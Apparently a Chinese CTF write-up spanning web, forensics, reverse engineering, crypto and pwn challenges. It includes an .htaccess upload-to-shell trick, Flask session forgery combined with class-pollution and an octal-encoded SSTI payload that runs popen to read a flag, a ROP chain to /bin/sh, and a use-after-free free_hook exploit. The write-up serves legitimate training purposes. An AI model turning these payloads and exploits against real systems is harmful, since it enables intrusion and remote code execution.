打开题目给了一个登录页面结合名字猜测为SQL注入
查看源码发现有hint提示开发者使用的是模式匹配
所以我尝试使用%来模糊匹配,登陆成功
username=admin&password=%
进入面板之后发现有一个文件上传功能
尝试上传php文件,结果被waf,文件名字不能出现p
我想到了使用.htaccess文件来解析gif文件来getshell
先上传.htaccess文件, 将1.gif当作php解析
<FilesMatch "1.gif">
SetHandler application/x-httpd-php
</FilesMatch>
接着上传1.gif文件
之后访问uploads/1.gif即可getshell,但是还需要提权读取flag
寻找提权命令
find / -perm -u=s -type f 2>/dev/null
发现tac命令可以使用
源码如下
import datetime from flask import Flask, render_template, render_template_string, request, redirect, url_for, session, make_response from wtforms import StringField, PasswordField, SubmitField from wtforms.validators import DataRequired, Length from flask_wtf import FlaskForm import re app = Flask(__name__) app.config['SECRET_KEY'] = 'xxxxxxx' class RegistrationForm(FlaskForm): username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)]) password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)]) submit = SubmitField('Register') class LoginForm(FlaskForm): username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)]) password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)]) submit = SubmitField('Login') class Candy: def __init__(self, name, image): self.name = name self.image = image class User: def __init__(self, username, password): self.username = username self.password = password def verify_password(self, username, password): return (self.username==username) & (self.password==password) class Admin: def __init__(self): self.username = "" self.identity = "" def sanitize_inventory_sold(value): return re.sub(r'[a-zA-Z_]', '', str(value)) def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) candies = [Candy(name="Lollipop", image="images/candy1.jpg"), Candy(name="Chocolate Bar", image="images/candy2.jpg"), Candy(name="Gummy Bears", image="images/candy3.jpg") ] users = [] admin_user = [] @app.route('/register', methods=['GET', 'POST']) def register(): form = RegistrationForm() if form.validate_on_submit(): user = User(username=form.username.data, password=form.password.data) users.append(user) return redirect(url_for('login')) return render_template('register.html', form=form) @app.route('/login', methods=['GET', 'POST']) def login(): form = LoginForm() if form.validate_on_submit(): for u in users: if u.verify_password(form.username.data, form.password.data): session['username'] = form.username.data session['identity'] = "guest" return redirect(url_for('home')) return render_template('login.html', form=form) inventory = 500 sold = 0 @app.route('/home', methods=['GET', 'POST']) def home(): global inventory, sold message = None username = session.get('username') identity = session.get('identity') if not username: return redirect(url_for('register')) if sold >= 10 and sold < 500: sold = 0 inventory = 500 message = "But you have bought too many candies!" return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies) if request.method == 'POST': action = request.form.get('action') if action == "buy_candy": if inventory > 0: inventory -= 3 sold += 3 if inventory == 0: message = "All candies are sold out!" if sold >= 500: with open('secret.txt', 'r') as file: message = file.read() return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies) @app.route('/admin', methods=['GET', 'POST']) def admin(): username = session.get('username') identity = session.get('identity') if not username or identity != 'admin': return redirect(url_for('register')) admin = Admin() merge(session,admin) admin_user.append(admin) return render_template('admin.html', view='index') @app.route('/admin/view_candies', methods=['GET', 'POST']) def view_candies(): username = session.get('username') identity = session.get('identity') if not username or identity != 'admin': return redirect(url_for('register')) return render_template('admin.html', view='candies', candies=candies) @app.route('/admin/add_candy', methods=['GET', 'POST']) def add_candy(): username = session.get('username') identity = session.get('identity') if not username or identity != 'admin': return redirect(url_for('register')) candy_name = request.form.get('name') candy_image = request.form.get('image') if candy_name and candy_image: new_candy = Candy(name=candy_name, image=candy_image) candies.append(new_candy) return render_template('admin.html', view='add_candy') @app.route('/admin/view_inventory', methods=['GET', 'POST']) def view_inventory(): username = session.get('username') identity = session.get('identity') if not username or identity != 'admin': return redirect(url_for('register')) inventory_value = sanitize_inventory_sold(inventory) sold_value = sanitize_inventory_sold(sold) return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value) @app.route('/admin/add_inventory', methods=['GET', 'POST']) def add_inventory(): global inventory username = session.get('username') identity = session.get('identity') if not username or identity != 'admin': return redirect(url_for('register')) if request.form.get('add'): num = request.form.get('add') inventory += int(num) return render_template('admin.html', view='add_inventory') @app.route('/') def index(): return render_template('index.html') if __name__ == '__main__': app.run(debug=False, host='0.0.0.0', port=1337)
爆破session key得到 a123456
flask-unsign -u -c "eyJjc3JmX3Rva2VuIjoiYmI5N2MxMGJhYTlhZTUzZDhiMTQ5NWVkNTVkZjcxNjQ0OTc0NjY4ZiIsImlkZW50aXR5IjoiZ3Vlc3QiLCJ1c2VybmFtZSI6IjEyMyJ9.Zt0WUA.FitsqnryV6luxUpGkUgwqDK8UDA"
session解密
┌──(kali㉿kali)-[~/Desktop/flask-session-cookie-manager-master] └─$ python2 flask_session_cookie_manager2.py decode -c .eJwNy8EKgCAMANB_2blDqW3Sz4S2LSQ0SDtE9O95ffBe2OqlazsPKbAAT6weoyhNihZn44PGjZwjGxGRrHBwZEYYILGUltrT135LbZ3uKlcJWToFzqnA9wOF2h3A.Zt025A.Z9OU_8Xax0lafOyjFTrx1WJ90qc {"csrf_token":"d1df86bef71f636528afbc74473b66673eda4720","identity":"guest","username":"admin"}
伪造加密session
┌──(kali㉿kali)-[~/Desktop/flask-session-cookie-manager-master] └─$ python3 flask_session_cookie_manager3.py encode -s a123456 -t '{"csrf_token":"d1df86bef71f636528afbc74473b66673eda4720","identity":"admin","username":"admin"}' eyJpZGVudGl0eSI6ImFkbWluIiwidXNlcm5hbWUiOiIxMjMifQ.Zt0hvg.ej8rVrvsHOttUQIIMgmE2w0kSto
伪造污染inventory
python3 flask_session_cookie_manager3.py encode -s a123456 -t "{'identity':'admin','username':'123','__init__':{'__globals__':{'inventory':'{{7*7}}'}}}"
观察源码发现存在原型链污染
@app.route('/admin', methods=['GET', 'POST']) def admin(): username = session.get('username') identity = session.get('identity') if not username or identity != 'admin': return redirect(url_for('register')) admin = Admin() merge(session,admin) admin_user.append(admin) return render_template('admin.html', view='index')
并发现存在ssti漏洞
@app.route('/admin/view_inventory', methods=['GET', 'POST']) def view_inventory(): username = session.get('username') identity = session.get('identity') if not username or identity != 'admin': return redirect(url_for('register')) inventory_value = sanitize_inventory_sold(inventory) sold_value = sanitize_inventory_sold(sold) return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)
结合原型链污染,我们可以污染全局变量inventory来造成ssti
{"__init__":{"__globals__":{"inventory":"{{7*7}}"}}
但是源码过滤了字母和下划线
def sanitize_inventory_sold(value): return re.sub(r'[a-zA-Z_]', '', str(value))
尽管禁用了字母但还可以用八进制绕过!
使用脚本伪造payload
input = "cat /tmp/9fb871d06639d7665f8c2005f87200fe/e586231aabe38cf5befd176a1ff25fec/6a5d614cfdcd840afead8e3497595126/flag" print("\\'", end="") for letter in input: #print(hex(ord(letter)).replace("0x", r"\x"), end="") #print(hex(ord(letter)).replace("0x", r"\u00"), end="") print(oct(ord(letter)).replace("0o", "\\\\"), end="") print("\\'") #python flask_session_cookie_manager3.py encode -s a123456 -t "{'csrf_token':'d1df86bef71f636528afbc74473b66673eda4720','identity':'admin','username':'admin','__init__':{'__globals__':{'inventory':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\155\\162\\157\\137\\137\'][1][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[132][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\160\\157\\160\\145\\156\'](\'\\143\\141\\164\\40\\57\\164\\155\\160\\57\\71\\146\\142\\70\\67\\61\\144\\60\\66\\66\\63\\71\\144\\67\\66\\66\\65\\146\\70\\143\\62\\60\\60\\65\\146\\70\\67\\62\\60\\60\\146\\145\\57\\145\\65\\70\\66\\62\\63\\61\\141\\141\\142\\145\\63\\70\\143\\146\\65\\142\\145\\146\\144\\61\\67\\66\\141\\61\\146\\146\\62\\65\\146\\145\\143\\57\\66\\141\\65\\144\\66\\61\\64\\143\\146\\144\\143\\144\\70\\64\\60\\141\\146\\145\\141\\144\\70\\145\\63\\64\\71\\67\\65\\71\\65\\61\\62\\66\\57\\146\\154\\141\\147\')[\'\\162\\145\\141\\144\']()}}'}}}" #{{''['\\137\\137\\143\\154\\141\\163\\163\\137\\137']}} # __class__;\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\' # __mro__:\'\\137\\137\\155\\162\\157\\137\\137\' # __base__: \'\\137\\137\\142\\141\\163\\145\\163\\137\\137\' #__subclasses__:\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\' [132] #__init__:\'\\137\\137\\151\\156\\151\\164\\137\\137\' #__globals__:\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\' #popen: \'\\160\\157\\160\\145\\156\' # cat /f*;\'\\143\\141\\164\\40\\57\\146\\52\'
PS C:\Users\86150\Desktop\flask-session-cookie-manager-1.2.1.1> python flask_session_cookie_manager3.py encode -s a123456 -t "{'csrf_token':'d1df86bef71f636528afbc74473b66673eda4720','identity':'admin','username':'admin','__init__':{'__globals__':{'inventory':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\155\\162\\157\\137\\137\'][1][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[132][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\160\\157\\160\\145\\156\'](\'\\143\\141\\164\\40\\57\\164\\155\\160\\57\\71\\146\\142\\70\\67\\61\\144\\60\\66\\66\\63\\71\\144\\67\\66\\66\\65\\146\\70\\143\\62\\60\\60\\65\\146\\70\\67\\62\\60\\60\\146\\145\\57\\145\\65\\70\\66\\62\\63\\61\\141\\141\\142\\145\\63\\70\\143\\146\\65\\142\\145\\146\\144\\61\\67\\66\\141\\61\\146\\146\\62\\65\\146\\145\\143\\57\\66\\141\\65\\144\\66\\61\\64\\143\\146\\144\\143\\144\\70\\64\\60\\141\\146\\145\\141\\144\\70\\145\\63\\64\\71\\67\\65\\71\\65\\61\\62\\66\\57\\146\\154\\141\\147\')[\'\\162\\145\\141\\144\']()}}'}}}" .eJx9UttugzAM_RdeWKU9kMR2qv5KOyEoMKG1VGrZpAnx78vFbgOd-oDl2MfnHIdM2fF27crx8tUO2S5rVNNtqW47qzoyhHpbdfXRAlhTE5E1bVOB1UX2nvVNO4z9-OumqubcD670fWuvQ3Vuk1JZ9kM_lmW2m1z-ebrU1ekWj_3w4xguV88wTXm-zw8HZawEMC4g-Ey5QEYCQ_KP1QCiR2if2QVMrZGRy8NBv1ICfNJ82-yV0U_Sfg5JMoIXNsGKWrAZHSip_bMhFYINWTCF5Kzk4h1EFBwgIuF-IVyyHgPEitZVyVUpVB3Yw4j4MwIHRkkDmcMWLO2vO4wWq24YS5osjezPJx5vRVZH2ejnEbRgTSIauJLfh3d6iAziOZDQY3ERwtRPoMTFBAoXMR-kyqHFR-AVQLZUS2qVgO6LeLQVm8g5spSOsvGWaPEwweab-CL0SsC_y3nO5nn-A-EVDjQ.Zt1CFQ.mbfc47fCCO-papkcsSiUKBJXNaI
第一阶段发现上传了图片马,并通过访问gateway传参执行了命令
然后在日志中可以看到上传gateway.php的主机ip地址为192.168.30.234
因此压缩包密码为192.168.30.234
打开压缩包,还是一个流量文件,用wireshark打开,导出http流,查看其中gateway.php文件中执行的命令和回显。
在某一个文件中找到了提示,加密方式是RC4
在剩余文件中找到了key和raw,即秘钥和密文
把raw前面的key删了用rc4解密就得到flag了
分析第二个流量包,发现使用命令从192.168.1.5 下载了raw和key
得到了加密的flag和key后,在后续流量包提示加密为RC4:
解密得到flag
from Crypto.Cipher import ARC4
raw = bytes.fromhex("5a76f6751576dbe1af49328aa1d2d2bea16ef62afa3a7c616d")
key = bytes.fromhex("bdb8e21eace81d5fd21ca445ccb35071")
cipher = ARC4.new(key)
plaintext = cipher.decrypt(raw)
flag: flag{The_m0st_2ecUre_eNcrYption!!!}
流量包一开始有很多数据库的流量,未知
直接筛选http协议,发现有三个post请求,一个上传了php文件,一个上传了图片,一个上传了压缩包
下载附件打开,用Wireshark打开流量,点击左上角文件里的导出对象里的http,将里面的文件全部导出
将每个文件依次使用记事本打开,发现index(3).php和index(6).php文件里的内容与其他不同,打开index(6).php发现rar头
然后进入wireshark将将它进行原始数据进行转换,转换之后将红色部分的原始数据在010中创建一个16进制文件如何将红色部分的在010中按crl+shift+v复制下来将多余的数据删掉,前面找到rar部分,最前面都删掉,后面的---的全部删掉,得到一个压缩包,需要密码,在另一个文件中找到密码
使用php脚本中的pass可以打开压缩包,发现文本文件flag.txt
貌似是单个字符的md5,直接爆破:
import hashlib from string import printable as all charset = all data = open("flag.txt", "r").readlines() md5s = dict() for i in charset: md5s[hashlib.md5(i.encode()).hexdigest()] = i print("".join([md5s[i.strip()] for i in data]))
根据反编译代码结合动调后发现只是简单的异或,但只能得到部分flag,后来发现在比较的数据下面有更全的加密后数据,提取出来解密可得
data = '0d774a04070301575303555405574F4B5100564C4E540102191B00570549140A04030D5F05051D1C060D0A54'
for i in range(43, -1, -1):
char = int(data[i * 2:i * 2 + 2], 16) ^ last
# flag{fcf94739-da66-467c-a77f-b50d12a67437}
动态调试发现迷宫存在内存中,利用地址跳转来走迷宫。经分析后发现和之前数字中国创新大赛半决赛的 HardTree 大同小异,直接把之前的脚本改改就能用了。
首先开启动调后将迷宫所在的内存使用脚本dump出来
fp = fopen("E:\\a\\ctf\\ccb\\re\\tmaze_16A051A0000_16A051B3000.dmp","wb");
for (i = 0x16A051A0000; i <= 0x16A051B3000; i++)
start_addr = 0x16A051B1480 - base_addr
end_addr = 0x16A051B1840 - base_addr
dump_file = open('tmaze_16A051A0000_16A051B3000.dmp', 'rb')
def bytes_to_addr(byte_str):
for ch in byte_str[::-1]:
if node not in have_node:
print(''.join(node_path))
x_node = bytes_to_addr(file[node:node + 8]) - base_addr
y_node = bytes_to_addr(file[node + 8:node + 16]) - base_addr
z_node = bytes_to_addr(file[node + 16:node + 24]) - base_addr
if x_node > 0 and file[node+24] == 0:
if y_node > 0 and file[node+25] == 0:
if z_node > 0 and file[node+26] == 0:
# yzyzyzyzyyzxzyyyzxzyzxxxzxzyyyyyyyyzxzxzyy
得到flag{4bb5dac3-c578-66a2-d97a-664be7965820}
普遍意义上来说,nextprime不会超出枚举范围,两层组合,复杂度上来看也依然可以尝试,
n的结构很简单的二元式子,flag也证明了只需爆破,一些格的做法这里似乎找不到合适的放缩,维度也较低,故而放弃
from Crypto.Util.number import *
from sympy.ntheory.residue_ntheory import nthroot_mod
p = 170302223332374952785269454020752010235000449292324018706323228421794605831609342383813680059406887437726391567716617403068082252456126724116360291722050578106527815908837796377811535800753042840119867579793401648981916062128752925574017615120362457848369672169913701701169754804744410516724429370808383640129
a = 95647398016998994323232737206171888899957187357027939982909965407086383339418183844601496450055752805846840966207033179756334909869395071918100649183599056695688702272113280126999439574017728476367307673524762493771576155949866442317616306832252931038932232342396406623324967479959770751756551238647385191314
b = 122891504335833588148026640678812283515533067572514249355105863367413556242876686249628488512479399795117688641973272470884323873621143234628351006002398994272892177228185516130875243250912554684234982558913267007466946601210297176541861279902930860851219732696973412096603548467720104727887907369470758901838
n = 5593134172275186875590245131682192688778392004699750710462210806902340747682378400226605648011816039948262008066066650657006955703136928662067931212033472838067050429624395919771757949640517085036958623280188133965150285410609475158882527926240531113060812228408346482328419754802280082212250908375099979058307437751229421708615341486221424596128137575042934928922615832987202762651904056934292682021963290271144473446994958975487980146329697970484311863524622696562094720833240915154181032649358743041246023013296745195478603299127094103448698060367648192905729866897074234681844252549934531893172709301411995941527
c = 2185680728108057860427602387168654320024588536620246138642042133525937248576850574716324994222027251548743663286125769988360677327713281974075574656905916643746842819251899233266706138267250441832133068661277187507427787343897863339824140927640373352305007520681800240743854093190786046280731148485148774188448658663250731076739737801267702682463265663725900621375689684459894544169879873344003810307496162858318574830487480360419897453892053456993436452783099460908947258094434884954726862549670168954554640433833484822078996925040310316609425805351183165668893199137911145057639657709936762866208635582348932189646
e = 65537
for k1 in range(1000):
for k2 in range(1000):
A = a
B = b + k2 + k1 * a
C = k1 * (b + k2) - n
# Ax^2 + Bx + C - n = 0
# 求根公式
delta = nthroot_mod(B**2 - 4 * A * C,2,p)
p1 = (-B + delta) * inverse(2 * A, p) % p + k1
p2 = (-B - delta) * inverse(2 * A, p) % p + k1
if n % p1 == 0:
p = p1
q = n // p
d = inverse(e, (p - 1) * (q - 1))
print(long_to_bytes(pow(c, d, n)))
elif n % p2 == 0:
p = p2
q = n // p
d = inverse(e, (p - 1) * (q - 1))
print(long_to_bytes(pow(c, d, n)))
大约3h
b'flag{j1st_e_s1mp1e_b3ute}'
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
p=process('./pwn')
elf=ELF('./pwn')
bin_sh=0x601840
pay=b'\x00'*52+b'pwn\x00'+b'\xff\xff\xff\xff'
p.send(pay)
p.sendline(b'a')
p.sendline(b'c')
p.sendline(str(1))
p.sendline(b'a')
p.sendline(str(1))
p.sendline(b'a')
p.sendline(str(1))
p.sendline(b'b')
rdi=0x0000000000400f13
payload=b'a'*0x18+p64(rdi)+p64(bin_sh)+p64(rdi+1)+p64(0x400730)
p.send(payload)
p.sendline(str(1))
p.interactive()
漏洞点位于free这个地方,由于没有清空指针造成的uaf,通过这个即可泄露地址和进行任意地址写,由于libc版本为2.31,所以劫持free_hook
from pwn import * import json from struct import pack from ctypes import * import base64 #from LibcSearcher import * def debug(c = 0): if(c): gdb.attach(p, c) else: gdb.attach(p) pause() def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) #----------------------------------------------------------------------------------------- s = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) r = lambda num=4096 :p.recv(num) rl = lambda text :p.recvuntil(text) pr = lambda num=4096 :print(p.recv(num)) inter = lambda :p.interactive() l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00')) int16 = lambda data :int(data,16) lg= lambda s, num :p.success('%s -> 0x%x' % (s, num)) #----------------------------------------------------------------------------------------- context(os='linux', arch='amd64', log_level='debug') p=remote("IP",PORT) elf = ELF('./Heap') libc = ELF('./libc-2.31-0kylin9.2k0.2.so') def add(size,content): sla(b'What will you do, adventurer? ',b'1') sla(b'Enter the size of the block you wish to summon (1 to 1280 bytes): ',str(size)) sla(b'bytes):\n',content) def free(idx): sla(b'What will you do, adventurer? ',b'2') sla(b'index (0-19): ',str(idx)) def edit(idx,content): sla(b'What will you do, adventurer? ',b'3') sla(b'index (0-19): ',str(idx)) sla(b'bytes):\n',content) def show(idx): sla(b'What will you do, adventurer? ',b'4') sla(b'index (0-19): ',str(idx)) add(0x460,b'a'*0x10) add(0x20,b'a'*8) free(0) show(0) p.recvline() libc_base=u64(p.recv(6).ljust(8,b'\x00')) free_hook=libc_base+0x2f48 malloc_hook=libc_base-0x70 for i in range(9): add(0x68,b'a'*1) for i in range(9): free(i+1) system=libc_base-0x1967d0 edit(9,p64(free_hook-0x10)) for i in range(7): add(0x68,b'a'*8) add(0x68,b'/bin/sh\x00'*1) add(0x68,b'/bin/sh\x00'*1) edit(19,p64(system)) print(hex(libc_base)) free(18) p.interactive()
转自参考原文连接地址: